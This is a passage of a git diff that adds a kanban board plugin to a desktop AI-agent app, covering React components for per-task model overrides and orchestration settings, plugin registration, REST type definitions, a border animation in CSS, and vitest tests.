+}
+
+// Column labels/help live in i18n; unknown backend statuses fall back to the id.
+export const columnLabel = (k: KanbanText, name: string) => k.col[name as keyof KanbanText['col']]?.label ?? name
+export const columnHelp = (k: KanbanText, name: string) => k.col[name as keyof KanbanText['col']]?.help ?? ''
+export const lockedReason = (k: KanbanText, name: string) => k.locked[name as keyof KanbanText['locked']] ?? ''
diff --git a/ui-desktop/src/plugins/kanban/kanban.css b/ui-desktop/src/plugins/kanban/kanban.css
new file mode 100644
index 000000000..f5ca28e2f
--- /dev/null
+++ b/ui-desktop/src/plugins/kanban/kanban.css
@@ -0,0 +1,46 @@
+/* Machine-activity arc — a highlight that travels the card's border while an
+   agent is ACTUALLY working the card (amber-slow when the heartbeat is gone).
+   Queued/attached cards do NOT animate — that's the footer's named-agent chip.
+   The tone rides --kanban-tone, set inline from the column meta. Painted as an
+   overlay ring (mask keeps only the border band) so the card stays flat. */
+
+@property --kanban-arc-angle {
+  syntax: '<angle>';
+  inherits: false;
+  initial-value: 0deg;
+}
+
+.kanban-arc {
+  pointer-events: none;
+  position: absolute;
+  inset: -1px; /* sit on the card's own border line */
+  border-radius: inherit;
+  padding: 1.5px; /* arc thickness */
+  background: conic-gradient(
+    from var(--kanban-arc-angle),
+    transparent 0deg,
+    var(--kanban-tone, var(--ui-stroke-primary)) 55deg,
+    transparent 110deg
+  );
+  -webkit-mask:
+    linear-gradient(#000 0 0) content-box,
+    linear-gradient(#000 0 0);
+  mask:
+    linear-gradient(#000 0 0) content-box,
+    linear-gradient(#000 0 0);
+  -webkit-mask-composite: xor;
+  mask-composite: exclude;
+  animation: kanban-arc-spin 2.2s linear infinite;
+}
+
+/* Running but no heartbeat: amber crawl — still claimed, health unknown. */
+.kanban-arc--stale {
+  --kanban-tone: #fbbf24;
+  animation-duration: 6s;
+}
+
+@keyframes kanban-arc-spin {
+  to {
+    --kanban-arc-angle: 360deg;
+  }
+}
diff --git a/ui-desktop/src/plugins/kanban/model-override.test.tsx b/ui-desktop/src/plugins/kanban/model-override.test.tsx
new file mode 100644
index 000000000..3cd576fb3
--- /dev/null
+++ b/ui-desktop/src/plugins/kanban/model-override.test.tsx
@@ -0,0 +1,148 @@
+import { DropdownMenu, DropdownMenuContent, ModelCatalogMenu, type ModelMenuController } from '@clawcodex/plugin-sdk'
+import { QueryClient, QueryClientProvider } from '@tanstack/react-query'
+import { cleanup, fireEvent, render, screen } from '@testing-library/react'
+import { afterEach, beforeAll, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import {
+  EMPTY_OVERRIDE,
+  isInherited,
+  overrideCreateFields,
+  overrideLabel,
+  overridePatch,
+  type TaskModelOverride
+} from './model-override'
+
+// Radix calls these on open; jsdom doesn't implement them.
+beforeAll(() => {
+  Element.prototype.scrollIntoView = vi.fn()
+  Element.prototype.hasPointerCapture = vi.fn(() => false)
+  Element.prototype.releasePointerCapture = vi.fn()
+})
+
+const getGlobalModelOptions = vi.fn()
+
+vi.mock('@/clawcodex', () => ({
+  getGlobalModelOptions: (...args: unknown[]) => getGlobalModelOptions(...args),
+  setApiRequestProfile: vi.fn()
+}))
+
+beforeEach(() => {
+  getGlobalModelOptions.mockResolvedValue({
+    providers: [{ models: ['gemini-3.1-pro', 'gemini-2.5-flash'], name: 'Google', slug: 'google' }]
+  })
+})
+
+afterEach(() => {
+  cleanup()
+  vi.clearAllMocks()
+})
+
+describe('override label', () => {
+  it('reads as inherited until something is pinned', () => {
+    expect(isInherited(EMPTY_OVERRIDE)).toBe(true)
+    expect(overrideLabel(EMPTY_OVERRIDE, 'Profile default')).toBe('Profile default')
+  })
+
+  it('shows provider: model · Effort', () => {
+    expect(overrideLabel({ effort: 'high', model: 'gemini-3.1-pro', provider: 'google' }, 'x')).toBe(
+      'google: gemini-3.1-pro · High'
+    )
+  })
+
+  it('a depth-only pin is still an override', () => {
+    const depthOnly: TaskModelOverride = { effort: 'ultra', model: '', provider: '' }
+
+    expect(isInherited(depthOnly)).toBe(false)
+    expect(overrideLabel(depthOnly, 'Profile default')).toBe('Profile default · Ultra')
+  })
+})
+
+// The override drives the SHARED composer menu through a controller. This is
+// the seam that keeps the two surfaces identical, so exercise the real
+// component rather than a stand-in.
+describe('the shared catalog menu, driven by an override controller', () => {
+  function renderMenu(value: TaskModelOverride = EMPTY_OVERRIDE) {
+    const onChange = vi.fn()
+
+    const controller: ModelMenuController = {
+      applyPreset: (preset, row) => onChange({ effort: preset.effort ?? '', model: row.model, provider: row.provider }),
+      current: { effort: value.effort, fast: false, model: value.model, provider: value.provider },
+      presetFor: () => ({}),
+      select: (model, provider) => onChange({ ...value, model, provider }),
+      setOptions: (patch, row) => {
+        if (patch.effort !== undefined) {
+          onChange({ effort: patch.effort, model: row.model, provider: row.provider })
+        }
+      }
+    }
+
+    const client = new QueryClient({ defaultOptions: { queries: { retry: false } } })
+
+    render(
+      <QueryClientProvider client={client}>
+        <DropdownMenu open>
+          <DropdownMenuContent>
+            <ModelCatalogMenu controller={controller} />
+          </DropdownMenuContent>
+        </DropdownMenu>
+      </QueryClientProvider>
+    )
+
+    return onChange
+  }
+
+  it('lists the catalog and reports a picked model', async () => {
+    const onChange = renderMenu()
+
+    // Rows render the display name; the controller receives the raw id.
+    fireEvent.click(await screen.findByText(/Gemini 3\.1 Pro/i))
+
+    const picked = onChange.mock.calls.at(-1)![0]
+
+    expect(picked.model).toBe('gemini-3.1-pro')
+    expect(picked.provider).toBe('google')
+  })
+
+  it('never renders MoA presets — a preset is not a worker model', async () => {
+    getGlobalModelOptions.mockResolvedValue({
+      providers: [
+        { models: ['gemini-3.1-pro'], name: 'Google', slug: 'google' },
+        { models: ['BeastMode'], name: 'Mixture of Agents', slug: 'moa' }
+      ]
+    })
+
+    renderMenu()
+    await screen.findByText(/Gemini 3\.1 Pro/i)
+
+    expect(screen.queryByText(/BeastMode/)).toBeNull()
+  })
+})
+
+// A PATCH body can't say "set to NULL" with a missing key, so clears are
+// explicit flags; a create should instead OMIT what the user never touched so
+// the backend's own defaults still apply.
+describe('REST field mapping', () => {
+  it('create omits untouched fields', () => {
+    expect(overrideCreateFields(EMPTY_OVERRIDE)).toEqual({})
+    expect(overrideCreateFields({ effort: 'high', model: 'm', provider: 'p' })).toEqual({
+      model_override: 'm',
+      provider_override: 'p',
+      reasoning_effort: 'high'
+    })
+  })
+
+  it('patch clears explicitly', () => {
+    expect(overridePatch(EMPTY_OVERRIDE)).toEqual({ clear_model_override: true, clear_reasoning_effort: true })
+  })
+
+  it('patch can pin depth alone, leaving the model to the profile', () => {
+    expect(overridePatch({ effort: 'ultra', model: '', provider: '' })).toEqual({
+      clear_model_override: true,
+      reasoning_effort: 'ultra'
+    })
+  })
+
+  it('a provider is never sent without its model', () => {
+    expect(overrideCreateFields({ effort: '', model: '', provider: 'google' })).toEqual({})
+  })
+})
diff --git a/ui-desktop/src/plugins/kanban/model-override.tsx b/ui-desktop/src/plugins/kanban/model-override.tsx
new file mode 100644
index 000000000..bb086bac5
--- /dev/null
+++ b/ui-desktop/src/plugins/kanban/model-override.tsx
@@ -0,0 +1,170 @@
+/**
+ * Per-task model override — the board's half of the composer's model picker.
+ *
+ * The MENU is not ours: `ModelCatalogMenu` from the SDK is the same component
+ * the chat composer renders, so search, provider grouping, `-fast` families,
+ * and the thinking/effort submenu behave identically here. What differs is
+ * what a selection MEANS — the controller below holds a detached value instead
+ * of writing to a live session, which is exactly the seam the SDK exposes.
+ *
+ * An unset value means "inherit the assigned profile's own model + effort",
+ * which is what every kanban task did before this existed.
+ */
+
+import {
+  Button,
+  cn,
+  Codicon,
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuTrigger,
+  ModelCatalogMenu,
+  ModelMenuCloseContext,
+  type ModelMenuController,
+  reasoningEffortLabel
+} from '@clawcodex/plugin-sdk'
+import { useState } from 'react'
+
+import { useKanban } from './ui'
+
+/** A task's model override. Empty strings mean "inherit the profile". */
+export interface TaskModelOverride {
+  /** '' = profile default, 'none' = thinking off, else a reasoning level. */
+  effort: string
+  model: string
+  provider: string
+}
+
+export const EMPTY_OVERRIDE: TaskModelOverride = { effort: '', model: '', provider: '' }
+
+/** True when nothing is pinned and the worker profile decides everything. */
+export const isInherited = (value: TaskModelOverride): boolean =>
+  !value.model.trim() && !value.provider.trim() && !value.effort.trim()
+
+/** The trigger's label: `provider: model · High`, or the inherit copy. */
+export function overrideLabel(value: TaskModelOverride, inheritCopy: string): string {
+  if (isInherited(value)) {
+    return inheritCopy
+  }
+
+  const model = value.model.trim()
+  const base = model ? (value.provider.trim() ? `${value.provider}: ${model}` : model) : inheritCopy
+  const effort = value.effort.trim() ? reasoningEffortLabel(value.effort) : ''
+
+  return effort ? `${base} · ${effort}` : base
+}
+
+/**
+ * The picker itself. Controlled: the caller owns the value, so the New Task
+ * dialog can hold it as form state and the drawer can PATCH on change.
+ */
+export function ModelOverrideField({
+  onChange,
+  value
+}: {
+  onChange: (next: TaskModelOverride) => void
+  value: TaskModelOverride
+}) {
+  const k = useKanban()
+  const [open, setOpen] = useState(false)
+
+  const controller: ModelMenuController = {
+    // Picking a model seeds the depth from what the user last used for it, so
+    // the board behaves like the composer. We only READ presets — a per-task
+    // choice must never rewrite what the composer opens at.
+    applyPreset: (preset, row) =>
+      onChange({
+        effort: preset.effort ?? '',
+        model: row.model,
+        provider: row.provider
+      }),
+
+    current: { effort: value.effort, fast: false, model: value.model, provider: value.provider },
+
+    // Read-only against ClawCodex' global presets is deliberate: see applyPreset.
+    presetFor: () => ({}),
+
+    select: (model, provider) => {
+      onChange({ ...value, model, provider })
+    },
+
+    // Fast mode is a live-session request parameter, not something the worker
+    // spawn can carry (there is no --fast flag), so the menu is told this
+    // catalog has no fast support and only effort edits arrive here.
+    setOptions: (patch, row) => {
+      if (patch.effort === undefined) {
+        return
+      }
+
+      onChange({ effort: patch.effort, model: row.model, provider: row.provider })
+    }
+  }
+
+  return (
+    <DropdownMenu onOpenChange={setOpen} open={open}>
+      <DropdownMenuTrigger asChild>
+        <Button
+          className={cn(
+            'h-8 w-full justify-between gap-2 px-2.5 text-[0.75rem] font-normal',
+            isInherited(value) && 'text-(--ui-text-tertiary)'
+          )}
+          type="button"
+          variant="outline"
+        >
+          <span className="min-w-0 truncate">{overrideLabel(value, k.modelInherit)}</span>
+          <span className="flex shrink-0 items-center gap-1">
+            {!isInherited(value) && (
+              <span
+                aria-label={k.modelClear}
+                className="grid size-4 place-items-center rounded text-(--ui-text-tertiary) hover:text-foreground"
+                onClick={event => {
+                  // Clear without opening the menu.
+                  event.preventDefault()
+                  event.stopPropagation()
+                  onChange(EMPTY_OVERRIDE)
+                }}
+                role="button"
+              >
+                <Codicon name="close" size="0.7rem" />
+              </span>
+            )}
+            <Codicon className="opacity-50" name="chevron-down" size="0.7rem" />
+          </span>
+        </Button>
+      </DropdownMenuTrigger>
+      <DropdownMenuContent align="start" className="w-72 p-0">
+        <ModelMenuCloseContext.Provider value={() => setOpen(false)}>
+          <ModelCatalogMenu controller={controller} />
+        </ModelMenuCloseContext.Provider>
+      </DropdownMenuContent>
+    </DropdownMenu>
+  )
+}
+
+/** Translate an override into the REST fields the kanban API expects.
+ *  Used by both create (POST) and edit (PATCH); the explicit clear flags exist
+ *  because `null` in a PATCH body means "field not sent", not "set to NULL". */
+export function overridePatch(value: TaskModelOverride): Record<string, unknown> {
+  const model = value.model.trim()
+  const effort = value.effort.trim()
+
+  return {
+    ...(model
+      ? { model_override: model, provider_override: value.provider.trim() || undefined }
+      : { clear_model_override: true }),
+    ...(effort ? { reasoning_effort: effort } : { clear_reasoning_effort: true })
+  }
+}
+
+/** The create-time shape: omit rather than clear, so the backend's own
+ *  defaults apply to fields the user never touched. */
+export function overrideCreateFields(value: TaskModelOverride): Record<string, unknown> {
+  const model = value.model.trim()
+  const effort = value.effort.trim()
+
+  return {
+    ...(model ? { model_override: model } : {}),
+    ...(model && value.provider.trim() ? { provider_override: value.provider.trim() } : {}),
+    ...(effort ? { reasoning_effort: effort } : {})
+  }
+}
diff --git a/ui-desktop/src/plugins/kanban/orchestration.tsx b/ui-desktop/src/plugins/kanban/orchestration.tsx
new file mode 100644
index 000000000..28d4511ea
--- /dev/null
+++ b/ui-desktop/src/plugins/kanban/orchestration.tsx
@@ -0,0 +1,183 @@
+/**
+ * Orchestration settings — the dashboard's dispatcher-knobs panel, flat-styled:
+ * orchestrator profile, default assignee, auto-decompose, and the profile
+ * descriptions the decomposer routes by (save / auto-generate per profile).
+ */
+
+import {
+  Button,
+  Codicon,
+  host,
+  Input,
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+  Switch,
+  useMutation,
+  useQuery,
+  useQueryClient
+} from '@clawcodex/plugin-sdk'
+import { useState } from 'react'
+
+import {
+  autoDescribeProfile,
+  fetchOrchestration,
+  fetchProfiles,
+  ORCHESTRATION_KEY,
+  PROFILES_KEY,
+  saveOrchestration,
+  saveProfileDescription
+} from './api'
+import type { KanbanProfile } from './types'
+import { errText, FIELD_LABEL, useKanban } from './ui'
+
+const DEFAULT_SENTINEL = '__default__'
+
+function ProfilePicker({
+  label,
+  onSave,
+  profiles,
+  value
+}: {
+  label: string
+  onSave: (name: string) => void
+  profiles: KanbanProfile[]
+  value: string
+}) {
+  const k = useKanban()
+
+  return (
+    <label className="flex min-w-0 flex-col gap-1">
+      <span className={FIELD_LABEL}>{label}</span>
+      <Select onValueChange={name => onSave(name === DEFAULT_SENTINEL ? '' : name)} value={value || DEFAULT_SENTINEL}>
+        <SelectTrigger className="w-44">
+          <SelectValue />
+        </SelectTrigger>
+        <SelectContent>
+          <SelectItem value={DEFAULT_SENTINEL}>{k.defaultParen}</SelectItem>
+          {profiles.map(profile => (
+            <SelectItem key={profile.name} value={profile.name}>
+              {profile.name}
+            </SelectItem>
+          ))}
+        </SelectContent>
+      </Select>
+    </label>
+  )
+}
+
+function ProfileDescriptionRow({ profile }: { profile: KanbanProfile }) {
+  const k = useKanban()
+  const qc = useQueryClient()
+  const [draft, setDraft] = useState(profile.description)
+  const invalidate = () => void qc.invalidateQueries({ queryKey: PROFILES_KEY })
+
+  const save = useMutation({
+    mutationFn: () => saveProfileDescription(profile.name, draft.trim()),
+    onError: err => host.notify({ kind: 'error', message: errText(err) }),
+    onSuccess: invalidate
+  })
+
+  const auto = useMutation({
+    mutationFn: () => autoDescribeProfile(profile.name),
+    onError: err => host.notify({ kind: 'error', message: errText(err) }),
+    onSuccess: result => {
+      if (result.ok) {
+        setDraft(result.description ?? '')
+        invalidate()
+      } else {
+        host.notify({ kind: 'warning', message: result.reason || 'Auto-describe failed' })
+      }
+    }
+  })
+
+  return (
+    <div className="flex items-center gap-2">
+      <span className="w-24 shrink-0 truncate text-[0.75rem] font-medium text-(--ui-text-secondary)">
+        {profile.name}
+        {profile.is_default && (
+          <span className="ml-1 text-[0.625rem] text-(--ui-text-quaternary)">{k.defaultParen}</span>
+        )}
+      </span>
+      <Input
+        className="h-7 flex-1 text-[0.71rem]"
+        onChange={event => setDraft(event.target.value)}
+        placeholder={k.profileGoodAt}
+        value={draft}
+      />
+      <Button
+        disabled={save.isPending || draft.trim() === profile.description}
+        onClick={() => save.mutate()}
+        size="xs"
+        variant="outline"
+      >
+        {k.save}
+      </Button>
+      {/* Overlay the spinner so the button keeps its "Auto" width — the aux
+          model can take a few seconds and a text swap would jump the row. */}
+      <Button className="relative" disabled={auto.isPending} onClick={() => auto.mutate()} size="xs" variant="ghost">
+        <span className={auto.isPending ? 'invisible' : ''}>{k.auto}</span>
+        {auto.isPending && (
+          <span className="absolute inset-0 grid place-items-center">
+            <Codicon className="animate-spin [animation-duration:1.2s]" name="loading" size="0.75rem" />
+          </span>
+        )}
+      </Button>
+    </div>
+  )
+}
+
+export function OrchestrationPanel() {
+  const k = useKanban()
+  const qc = useQueryClient()
+  const { data: settings } = useQuery({ queryKey: ORCHESTRATION_KEY, queryFn: fetchOrchestration })
+  const { data: roster } = useQuery({ queryKey: PROFILES_KEY, queryFn: fetchProfiles, staleTime: 60_000 })
+
+  const save = useMutation({
+    mutationFn: (patch: Record<string, unknown>) => saveOrchestration(patch),
+    onError: err => host.notify({ kind: 'error', message: errText(err) }),
+    onSuccess: () => void qc.invalidateQueries({ queryKey: ORCHESTRATION_KEY })
+  })
+
+  if (!settings || !roster) {
+    return null
+  }
+
+  return (
+    <div className="flex flex-col gap-4 border-t border-(--ui-stroke-tertiary) px-4 py-3">
+      <div className="flex flex-wrap items-end gap-4">
+        <ProfilePicker
+          label={k.orchestratorProfile}
+          onSave={name => save.mutate({ orchestrator_profile: name })}
+          profiles={roster.profiles}
+          value={settings.orchestrator_profile}
+        />
+        <ProfilePicker
+          label={k.defaultAssignee}
+          onSave={name => save.mutate({ default_assignee: name })}
+          profiles={roster.profiles}
+          value={settings.default_assignee}
+        />
+        <label className="flex cursor-pointer items-center gap-2 pb-1.5 text-[0.75rem] text-(--ui-text-secondary)">
+          <Switch
+            aria-label={k.autoDecompose}
+            checked={settings.auto_decompose}
+            onCheckedChange={checked => save.mutate({ auto_decompose: checked })}
+            size="xs"
+          />
+          {k.autoDecompose}
+        </label>
+      </div>
+
+      <div className="flex flex-col gap-1.5">
+        <span className={FIELD_LABEL}>{k.profileDescriptions}</span>
+        <p className="text-[0.6875rem] text-(--ui-text-quaternary)">{k.profileDescriptionsHint}</p>
+        {roster.profiles.map(profile => (
+          <ProfileDescriptionRow key={`${profile.name}:${profile.description}`} profile={profile} />
+        ))}
+      </div>
+    </div>
+  )
+}
diff --git a/ui-desktop/src/plugins/kanban/plugin.tsx b/ui-desktop/src/plugins/kanban/plugin.tsx
new file mode 100644
index 000000000..9b2b80d93
--- /dev/null
+++ b/ui-desktop/src/plugins/kanban/plugin.tsx
@@ -0,0 +1,160 @@
+/**
+ * Kanban — the founding plugin use case, now pure SDK-consumer work: a
+ * first-class `/kanban` board page + sidebar nav row + a live statusbar count,
+ * all reusing the existing `plugins/kanban/dashboard/plugin_api.py` REST router
+ * through `ctx.rest` (namespace-scoped to `/api/plugins/kanban`). No new
+ * backend, no core edits.
+ *
+ * Ships OFF by default (`defaultEnabled: false`): it inventories in
+ * Settings ▸ Plugins and registers nothing until the user flips the switch.
+ */
+
+import './kanban.css'
+
+import {
+  type ClawCodexPlugin,
+  cn,
+  Codicon,
+  host,
+  type KeybindContribution,
+  KEYBINDS_AREA,
+  PALETTE_AREA,
+  type PaletteContribution,
+  type RouteContribution,
+  ROUTES_AREA,
+  SIDEBAR_NAV_AREA,
+  type SidebarNavContribution,
+  STATUSBAR_AREAS,
+  Tip,
+  useQuery,
+  useValue
+} from '@clawcodex/plugin-sdk'
+
+import { $boardSlug, bindApi, boardKey, fetchBoard } from './api'
+import { KanbanBoardPage } from './board'
+import { KANBAN_LOCALES } from './i18n'
+import { $newTaskLane, useKanban } from './ui'
+
+// Live "N running / ready" pill — one glance at fleet activity from anywhere,
+// clicks through to the board. Shares the board query (one cache, one poll with
+// the page); hidden when nothing is in flight (or unloaded).
+function KanbanCount() {
+  const k = useKanban()
+  const slug = useValue($boardSlug)
+
+  // Socket-invalidated like the page (same cache); slow socketless heartbeat.
+  const { data: board } = useQuery({
+    queryFn: () => fetchBoard(false),
+    queryKey: boardKey(slug, false),
+    refetchInterval: 60_000
+  })
+
+  if (!board) {
+    return null
+  }
+
+  const count = (name: string) => board.columns.find(col => col.name === name)?.tasks.length ?? 0
+  const active = count('running') + count('ready')
+
+  if (active === 0) {
+    return null
+  }
+
+  return (
+    <Tip label={k.countTip(count('running'), count('ready'))}>
+      <button
+        className={cn(
+          'inline-flex h-full items-center gap-1 rounded-none px-1.5 text-[0.6875rem] tabular-nums transition-colors',
+          'text-(--ui-text-tertiary) hover:bg-(--chrome-action-hover) hover:text-foreground'
+        )}
+        onClick={() => host.navigate('/kanban')}
+        type="button"
+      >
+        <Codicon name="project" size="0.7rem" />
+        <span>{active}</span>
+      </button>
+    </Tip>
+  )
+}
+
+const plugin: ClawCodexPlugin = {
+  id: 'kanban',
+  name: 'Kanban',
+  defaultEnabled: false,
+  register(ctx) {
+    ctx.i18n.register(KANBAN_LOCALES)
+    ctx.onDispose(bindApi(ctx.rest, ctx.storage, ctx.socket))
+
+    // The plugin command pattern: ONE action id (`kanban.newTask`) wired into
+    // two areas — a keybind (dispatch + rebindable panel row) and a palette row
+    // whose `action` field points back at it, so ⌘K shows the live combo. The
+    // handler is route-independent: it navigates to the page and parks the
+    // request in `$newTaskLane`, so the hotkey works from anywhere, not just
+    // while the board happens to be mounted.
+    //
+    // ⌘⌥N / Ctrl+Alt+N: `mod+n` is `session.new` and `mod+shift+n` is
+    // `session.newWindow`, both core built-ins a plugin can't shadow. Adding
+    // Alt keeps the "N for new" mnemonic on a chord core leaves free — it uses
+    // `alt` only for the `mod+alt+1…9` profile slots, never with a letter. That
+    // makes ⌘⌥<letter> the natural namespace for plugin commands.
+    const newTask = () => {
+      $newTaskLane.set('triage')
+      host.navigate('/kanban')
+    }
+
+    ctx.registerMany([
+      {
+        id: 'page',
+        area: ROUTES_AREA,
+        data: { path: '/kanban' } satisfies RouteContribution,
+        render: () => <KanbanBoardPage />
+      },
+      {
+        id: 'nav',
+        area: SIDEBAR_NAV_AREA,
+        order: 50,
+        data: { codicon: 'project', label: 'Kanban', path: '/kanban' } satisfies SidebarNavContribution
+      },
+      {
+        id: 'count',
+        area: STATUSBAR_AREAS.right,
+        order: 80,
+        render: () => <KanbanCount />
+      },
+      {
+        id: 'open',
+        area: PALETTE_AREA,
+        data: {
+          id: 'kanban.open',
+          label: 'Kanban: Open board',
+          keywords: ['kanban', 'board', 'tasks', 'agents'],
+          run: () => host.navigate('/kanban')
+        } satisfies PaletteContribution
+      },
+      {
+        id: 'new-task',
+        area: PALETTE_AREA,
+        data: {
+          id: 'kanban.newTask',
+          action: 'kanban.newTask',
+          label: ctx.i18n.t('newTaskCommand'),
+          keywords: ['kanban', 'task', 'new', 'create', 'triage'],
+          run: newTask
+        } satisfies PaletteContribution
+      },
+      {
+        id: 'new-task',
+        area: KEYBINDS_AREA,
+        data: {
+          id: 'kanban.newTask',
+          category: 'view',
+          defaults: ['mod+alt+n'],
+          label: ctx.i18n.t('newTaskCommand'),
+          run: newTask
+        } satisfies KeybindContribution
+      }
+    ])
+  }
+}
+
+export default plugin
diff --git a/ui-desktop/src/plugins/kanban/types.ts b/ui-desktop/src/plugins/kanban/types.ts
new file mode 100644
index 000000000..a33dde793
--- /dev/null
+++ b/ui-desktop/src/plugins/kanban/types.ts
@@ -0,0 +1,214 @@
+/** The slice of the kanban REST contract the board renders. The backend
+ *  (`plugins/kanban/dashboard/plugin_api.py`) returns much more per task; we
+ *  type only what the UI reads so a schema addition never breaks the build. */
+
+/** One card. `status` is the column id (see COLUMN_META). */
+export interface KanbanTask {
+  id: string
+  title: string
+  body?: null | string
+  status: string
+  assignee?: null | string
+  priority?: number
+  tenant?: null | string
+  created_at?: number
+  latest_summary?: null | string
+  comment_count?: number
+  link_counts?: { parents: number; children: number }
+  /** N-of-M child completion, or null when the task has no children. */
+  progress?: null | { done: number; total: number }
+  /** Compact diagnostics rollup — present only when a card has warnings. */
+  warnings?: null | { count: number; highest_severity?: null | string }
+  /** Worker liveness (present on running cards) — drives the arc + run clock. */
+  started_at?: null | number
+  worker_pid?: null | number
+  last_heartbeat_at?: null | number
+}
+
+export interface KanbanColumn {
+  name: string
+  tasks: KanbanTask[]
+}
+
+export interface KanbanBoard {
+  columns: KanbanColumn[]
+  tenants: string[]
+  assignees: string[]
+  latest_event_id: number
+  now: number
+}
+
+/** A structured recovery action attached to a diagnostic. */
+export interface DiagnosticAction {
+  kind: string
+  label: string
+  payload?: Record<string, unknown>
+  suggested?: boolean
+}
+
+/** One active distress signal on a task (kanban_diagnostics.Diagnostic). */
+export interface Diagnostic {
+  kind: string
+  severity: 'critical' | 'error' | 'warning'
+  title: string
+  detail: string
+  actions: DiagnosticAction[]
+  count: number
+  last_seen_at: number
+  data: Record<string, unknown>
+}
+
+export interface KanbanRun {
+  id: number | string
+  profile?: null | string
+  status: string
+  outcome?: null | string
+  summary?: null | string
+  error?: null | string
+  metadata?: null | Record<string, unknown> | string
+  worker_pid?: null | number
+  started_at?: null | number
+  ended_at?: null | number
+}
+
+export interface KanbanComment {
+  id: number | string
+  author: string
+  body: string
+  created_at: number
+}
+
+export interface KanbanEvent {
+  id: number
+  kind: string
+  payload: unknown
+  created_at: number
+}
+
+export interface KanbanAttachment {
+  id: number | string
+  filename: string
+  size?: null | number
+}
+
+/** Fields present only on the detail endpoint (beyond the card's KanbanTask).
+ *  `started_at`/`worker_pid`/`last_heartbeat_at` are inherited — they live on
+ *  KanbanTask now that the board's liveness arc reads them. */
+export interface KanbanTaskFull extends KanbanTask {
+  result?: null | string
+  created_by?: null | string
+  /** Per-task worker overrides. Null/absent = the assigned profile's own
+   *  model, provider, and reasoning effort decide. */
+  model_override?: null | string
+  provider_override?: null | string
+  reasoning_effort?: null | string
+  completed_at?: null | number
+  last_failure_error?: null | string
+  workspace_kind?: null | string
+  workspace_path?: null | string
+  branch_name?: null | string
+  consecutive_failures?: number
+  diagnostics?: Diagnostic[]
+}
+
+/** GET /tasks/:id — the task plus its related collections, which are SIBLINGS
+ *  of `task`, not nested inside it. */
+export interface KanbanTaskDetail {
+  task: KanbanTaskFull
+  comments: KanbanComment[]
+  events: KanbanEvent[]
+  attachments: KanbanAttachment[]
+  links: { parents: string[]; children: string[] }
+  runs: KanbanRun[]
+}
+
+/** GET /boards — every board on disk + which one is the server's current. */
+export interface BoardMeta {
+  slug: string
+  name?: null | string
+  description?: null | string
+  is_current?: boolean
+  total?: number
+  /** Board-level project directory new tasks inherit (empty = none). */
+  default_workdir?: null | string
+  /** Recommended workspace kind derived from default_workdir by the backend
+   *  (`scratch` when unset, `worktree` in a git repo, else `dir`). */
+  default_workspace_kind?: null | string
+  /** First-class Project the board is scoped to (id) + resolved name. */
+  project_id?: null | string
+  project_name?: null | string
+}
+
+/** GET /projects — first-class ClawCodex projects available to scope a board. */
+export interface KanbanProject {
+  id: string
+  slug: string
+  name: string
+  primary_path?: null | string
+  icon?: null | string
+  color?: null | string
+}
+
+/** POST /tasks/:id/estimate — rough auxiliary-model estimate (never dollars). */
+export interface TaskEstimate {
+  ok: boolean
+  reason?: null | string
+  est_tokens?: number
+  complexity?: 'L' | 'M' | 'S' | null
+  rationale?: null | string
+  model?: null | string
+}
+export interface BoardsResponse {
+  boards: BoardMeta[]
+  current: string
+}
+
+/** GET /tasks/:id/log — the worker's stdout/stderr tail. */
+export interface WorkerLog {
+  exists: boolean
+  size_bytes: number
+  content: string
+  truncated: boolean
+}
+
+/** GET /orchestration — dispatcher knobs from config.yaml + resolved values. */
+export interface OrchestrationSettings {
+  orchestrator_profile: string
+  default_assignee: string
+  auto_decompose: boolean
+  resolved_orchestrator_profile: string
+  resolved_default_assignee: string
+}
+
+/** GET /profiles — the roster the decomposer routes across. */
+export interface KanbanProfile {
+  name: string
+  is_default: boolean
+  description: string
+  description_auto: boolean
+}
+
+/** Column presentation — codicon + tone only. Labels + help live in i18n
+ *  (plugin bundles); see `columnLabel`/`columnHelp` in i18n.ts. Order follows
+ *  the backend's BOARD_COLUMNS; anything the backend adds renders via the
+ *  fallback. */
+export const COLUMN_META: Record<string, { codicon: string; tone: string }> = {
+  triage: { codicon: 'inbox', tone: 'var(--ui-text-tertiary)' },
+  todo: { codicon: 'circle-outline', tone: 'var(--ui-text-secondary)' },
+  scheduled: { codicon: 'watch', tone: '#a78bfa' },
+  ready: { codicon: 'play-circle', tone: '#60a5fa' },
+  running: { codicon: 'sync', tone: '#34d399' },
+  blocked: { codicon: 'error', tone: '#f87171' },
+  review: { codicon: 'eye', tone: '#fbbf24' },
+  done: { codicon: 'pass', tone: 'var(--ui-text-tertiary)' },
+  archived: { codicon: 'archive', tone: 'var(--ui-text-quaternary)' }
+}
+
+export const columnMeta = (name: string) =>
+  COLUMN_META[name] ?? { codicon: 'circle-outline', tone: 'var(--ui-text-secondary)' }
+
+export const SEVERITY_TONE: Record<Diagnostic['severity'], string> = {
+  critical: 'var(--destructive, #f87171)',
+  error: 'var(--destructive, #f87171)',
+  warning: '#fbbf24'
+}
diff --git a/ui-desktop/src/plugins/kanban/ui.tsx b/ui-desktop/src/plugins/kanban/ui.tsx
new file mode 100644
index 000000000..309610ffe
--- /dev/null
+++ b/ui-desktop/src/plugins/kanban/ui.tsx
@@ -0,0 +1,283 @@
+/** Shared kanban UI atoms: formatters, the identity avatar, the status menu,
+ *  section chrome, and the masked scroller. Pure SDK + tokens. */
+
+import {
+  atom,
+  coarseElapsed,
+  Codicon,
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+  FadeScroll,
+  profileColor,
+  profileColorSoft,
+  relativeTime,
+  useQuery
+} from '@clawcodex/plugin-sdk'
+import { type ReactNode, useEffect, useState } from 'react'
+
+import { fetchOrchestration, ORCHESTRATION_KEY } from './api'
+import { columnLabel, useKanban } from './i18n'
+import { columnMeta, type KanbanTask } from './types'
+
+// Plugin-scoped i18n lives in ./i18n; re-exported so components import strings
+// and chrome from one place (./ui).
+export { columnHelp, columnLabel, type KanbanText, lockedReason, useKanban } from './i18n'
+
+/** One-shot "open the new-task dialog in this lane" request, so a command that
+ *  fires from ANYWHERE (keybind, palette) can reach the board page without the
+ *  page having to exist yet: the handler navigates and drops the lane here, the
+ *  page consumes it on arrival and clears it. Ephemeral by design — never
+ *  persisted, so a remount can't reopen a dialog the user already dismissed. */
+export const $newTaskLane = atom<null | string>(null)
+
+/** Orchestration knobs (cached app-wide; the settings panel invalidates). */
+export function useOrchestration() {
